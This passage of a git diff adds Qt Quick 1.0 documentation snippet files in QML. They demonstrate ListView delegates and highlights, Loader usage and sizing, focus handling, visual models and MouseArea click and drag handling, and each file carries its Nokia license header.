+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![import]
+import QtQuick 1.0
+//![import]
+
+Item {
+
+//![classdocs simple]
+ListView {
+ width: 180; height: 200
+
+ model: ContactModel {}
+ delegate: Text {
+ text: name + ": " + number
+ }
+}
+//![classdocs simple]
+
+//![classdocs advanced]
+Rectangle {
+ width: 180; height: 200
+
+ Component {
+ id: contactDelegate
+ Item {
+ width: 180; height: 40
+ Column {
+ Text { text: '<b>Name:</b> ' + name }
+ Text { text: '<b>Number:</b> ' + number }
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: contactDelegate
+ highlight: Rectangle { color: "lightsteelblue"; radius: 5 }
+ focus: true
+ }
+}
+//![classdocs advanced]
+
+//![delayRemove]
+Component {
+ id: delegate
+ Item {
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+ }
+ }
+}
+//![delayRemove]
+
+//![highlightFollowsCurrentItem]
+Component {
+ id: highlight
+ Rectangle {
+ width: 180; height: 40
+ color: "lightsteelblue"; radius: 5
+ y: list.currentItem.y
+ Behavior on y {
+ SpringAnimation {
+ spring: 3
+ damping: 0.2
+ }
+ }
+ }
+}
+
+ListView {
+ id: list
+ width: 180; height: 200
+ model: ContactModel {}
+ delegate: Text { text: name }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+}
+//![highlightFollowsCurrentItem]
+
+//![isCurrentItem]
+ListView {
+ width: 180; height: 200
+
+ Component {
+ id: contactsDelegate
+ Rectangle {
+ id: wrapper
+ width: 180
+ height: contactInfo.height
+ color: ListView.isCurrentItem ? "black" : "red"
+ Text {
+ id: contactInfo
+ text: name + ": " + number
+ color: wrapper.ListView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+
+ model: ContactModel {}
+ delegate: contactsDelegate
+ focus: true
+}
+//![isCurrentItem]
+
+}
diff --git a/doc/src/snippets/declarative/loader/KeyReader.qml b/doc/src/snippets/declarative/loader/KeyReader.qml
new file mode 100644
index 00000000..2667486b
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/KeyReader.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ Item {
+ focus: true
+ Keys.onPressed: {
+ console.log("Loaded item captured:", event.text);
+ event.accepted = true;
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/loader/MyItem.qml b/doc/src/snippets/declarative/loader/MyItem.qml
new file mode 100644
index 00000000..656acd40
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/MyItem.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: myItem
+ signal message(string msg)
+
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myItem.message("clicked!")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/loader/connections.qml b/doc/src/snippets/declarative/loader/connections.qml
new file mode 100644
index 00000000..29d31ac8
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/connections.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+
+ Loader {
+ id: myLoader
+ source: "MyItem.qml"
+ }
+
+ Connections {
+ target: myLoader.item
+ onMessage: console.log(msg)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/loader/focus.qml b/doc/src/snippets/declarative/loader/focus.qml
new file mode 100644
index 00000000..2f12c215
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/focus.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ Loader {
+ id: loader
+ focus: true
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: loader.source = "KeyReader.qml"
+ }
+
+ Keys.onPressed: {
+ console.log("Captured:", event.text);
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/loader/simple.qml b/doc/src/snippets/declarative/loader/simple.qml
new file mode 100644
index 00000000..4e1b1d8d
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/simple.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader { id: pageLoader }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: pageLoader.source = "Page1.qml"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/loader/sizeitem.qml b/doc/src/snippets/declarative/loader/sizeitem.qml
new file mode 100644
index 00000000..983b8678
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/sizeitem.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader {
+ // position the Loader in the center of the parent
+ anchors.centerIn: parent
+ sourceComponent: rect
+ }
+
+ Component {
+ id: rect
+ Rectangle {
+ width: 50
+ height: 50
+ color: "red"
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/loader/sizeloader.qml b/doc/src/snippets/declarative/loader/sizeloader.qml
new file mode 100644
index 00000000..7f0fa21e
--- /dev/null
+++ b/doc/src/snippets/declarative/loader/sizeloader.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 200
+
+ Loader {
+ // Explicitly set the size of the Loader to the parent item's size
+ anchors.fill: parent
+ sourceComponent: rect
+ }
+
+ Component {
+ id: rect
+ Rectangle {
+ width: 50
+ height: 50
+ color: "red"
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/models/views-models-delegates.qml b/doc/src/snippets/declarative/models/views-models-delegates.qml
new file mode 100644
index 00000000..1ad7c1e9
--- /dev/null
+++ b/doc/src/snippets/declarative/models/views-models-delegates.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [rectangle]
+Rectangle {
+ width: 200; height: 200
+
+ ListModel {
+ id: fruitModel
+ property string language: "en"
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+ }
+
+ Component {
+ id: fruitDelegate
+ Row {
+ Text { text: " Fruit: " + name; color: ListView.view.fruit_color }
+ Text { text: " Cost: $" + cost }
+ Text { text: " Language: " + ListView.view.model.language }
+ }
+ }
+
+ ListView {
+ property color fruit_color: "green"
+ model: fruitModel
+ delegate: fruitDelegate
+ anchors.fill: parent
+ }
+}
+//! [rectangle]
diff --git a/doc/src/snippets/declarative/models/visual-model-and-view.qml b/doc/src/snippets/declarative/models/visual-model-and-view.qml
new file mode 100644
index 00000000..af6f2bbb
--- /dev/null
+++ b/doc/src/snippets/declarative/models/visual-model-and-view.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+Rectangle {
+ width: 200; height: 200
+
+ //! [visual model and view]
+ VisualItemModel {
+ id: itemModel
+ Rectangle { height: 30; width: 80; color: "red" }
+ Rectangle { height: 30; width: 80; color: "green" }
+ Rectangle { height: 30; width: 80; color: "blue" }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: itemModel
+ }
+ //! [visual model and view]
+}
diff --git a/doc/src/snippets/declarative/mousearea/mousearea-snippet.qml b/doc/src/snippets/declarative/mousearea/mousearea-snippet.qml
new file mode 100644
index 00000000..d003b225
--- /dev/null
+++ b/doc/src/snippets/declarative/mousearea/mousearea-snippet.qml
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 500; height: 500
+ color: "green"
+
+ Column {
+ //! [anchor fill]
+ Rectangle {
+ id: button
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("button clicked")
+ }
+ MouseArea {
+ width:150; height: 75
+ onClicked: console.log("irregular area clicked")
+ }
+ }
+ //! [anchor fill]
+
+ Rectangle {
+ id: button
+ width: 100; height: 100
+
+ //! [enable handlers]
+ MouseArea {
+ hoverEnabled: true
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onEntered: console.log("mouse entered the area")
+ onExited: console.log("mouse left the area")
+ }
+ //! [enable handlers]
+ }
+
+ Rectangle {
+ id: button
+ width: 100; height: 100
+
+ //! [mouse handlers]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("area clicked")
+ onDoubleClicked: console.log("area double clicked")
+ onEntered: console.log("mouse entered the area")
+ onExited: console.log("mouse left the area")
+ }
+ //! [mouse handlers]
+ }
+
+ } //end of column
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
new file mode 100644
index 00000000..fdcd285a
--- /dev/null
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ Row {
+ //! [intro]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { parent.color = 'red' }
+ }
+ }
+ //! [intro]
+
+ //! [intro-extended]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
+
+ MouseArea {
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onClicked: {
+ if (mouse.button == Qt.RightButton)
+ parent.color = 'blue';
+ else
+ parent.color = 'red';
+ }
+ }
+ }
+ //! [intro-extended]
+
+ //! [drag]
+ Rectangle {
+ id: container
+ width: 600; height: 200
+
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+ opacity: (600.0 - rect.x) / 600
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: rect
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: container.width - rect.width
+ }
+ }
+ }
+ //! [drag]
+
+ //! [mousebuttons]
+ Text {
+ text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ }
+ }
+ //! [mousebuttons]
+
+ }
+}
diff --git a/doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml b/doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml
new file mode 100644
index 00000000..df49b93c
--- /dev/null
+++ b/doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
